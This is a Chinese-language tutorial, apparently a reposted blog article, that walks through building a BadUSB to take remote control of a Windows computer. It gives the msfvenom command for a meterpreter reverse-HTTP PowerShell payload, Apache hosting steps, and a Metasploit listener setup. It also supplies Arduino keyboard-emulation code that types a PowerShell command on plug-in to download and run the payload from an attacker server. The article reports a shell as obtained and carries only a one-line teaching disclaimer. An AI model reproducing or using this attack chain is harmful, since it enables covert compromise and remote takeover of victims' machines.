欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

利用badusb远程控制

程序员文章站 2022-07-15 14:03:55
...

0x01 badusb简介

badusb大家应该都了解过,是利用伪造HID设备执行攻击载荷的一种攻击方式。HID设备一般指的是计算机直接与人交互的设备,例如键盘、鼠标等

总的来说,就是将USB设备伪装成键盘设备,使目标主机*执行预置在固件中的恶意代码

通常情况下都会把badusb制作成与U盘极其相似,且不会被受害者所察觉,badusb目前在淘宝有售,下面是详细的用badusb拿shell的过程

利用badusb远程控制

0x02 安装Arduino IDE

arduino ide是一款专业的arduino开发工具,主要用于arduino程序的编写和开发,拥有开放源代码的电路图设计、支持ISP在线烧,同时支持Flash、Max/Msp、VVVV、PD、C、Processing等多种程序兼容的特点

首先,官网下载Arduino IDE

利用badusb远程控制
下载好后进行安装,将badusb连接主机,配置环境

0x03 利用msf生成windows端木马

在msf中输入以下命令生成木马

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f psh > 1.ps1

利用badusb远程控制
启动Apache2,将生成的1.ps1复制到/var/www/html中

service apache2 start
sudo cp 1.ps1 /var/www/html

利用badusb远程控制
进入监听模式

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp set LHOST 172.16.7.130
set LPORT 4321
run

利用badusb远程控制

0x04 烧录

可以取得开发板信息确定是否连接
利用badusb远程控制
在工具中选择开发板:ArduinoLeonardo
选择合适的端口
编程器选择:USBasp
利用badusb远程控制
当写入代码后,首先点击第一个按钮进行验证,当显示编译完成则可点击上传进行烧录
利用badusb远程控制
代码的编写我们可以借助Automator_2.0.1这款辅助软件,编写代码更加方便
软件:https://github.com/Catboy96/Automator
利用badusb远程控制
代码格式介绍:

setup() 函数
用来初始化变量、Pin模式、开始使用库等
每次打开或重置Arduino板后,setup()函数将只运行一次

loop() 函数
精确地执行其名称所建议的操作,并连续循环,从而允许程序更改和响应

//参考代码:
#include<Keyboard.h> //包含键盘模块头文件
void setup(){ //初始化
Keyboard.begin();//开始键盘通信
delay(1000);//延时1000毫秒,
Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键 
Keyboard.press('r');//按下r键 CMD
delay(500); 
Keyboard.release(KEY_LEFT_GUI);//松掉win键 
Keyboard.release('r');//松掉r键 
delay(500); 
Keyboard.println("powershell IEX (New-Object Net.WebClient).DownloadString('http://XXX.XXX.XXX.XXX/1.ps1')");
Keyboard.press(KEY_RETURN);  //按下回车键
Keyboard.release(KEY_RETURN); //释放回车键
delay(500);
Keyboard.end();//结束键盘通讯 
} 
void loop()//循环,这里的代码
{ 
//循环体
}

0x05 测试

将烧录好的badusb插入目标主机后,目标主机会自动按下“win+r”键,并自动输入:
powershell IEX (New-Object Net.WebClient).DownloadString(‘http://172.16.7.130/1.ps1’)
拿shell成功!
利用badusb远程控制
本文章只用于教学,切勿用于非法用途

关注我的公众号

利用badusb远程控制

相关标签: 技术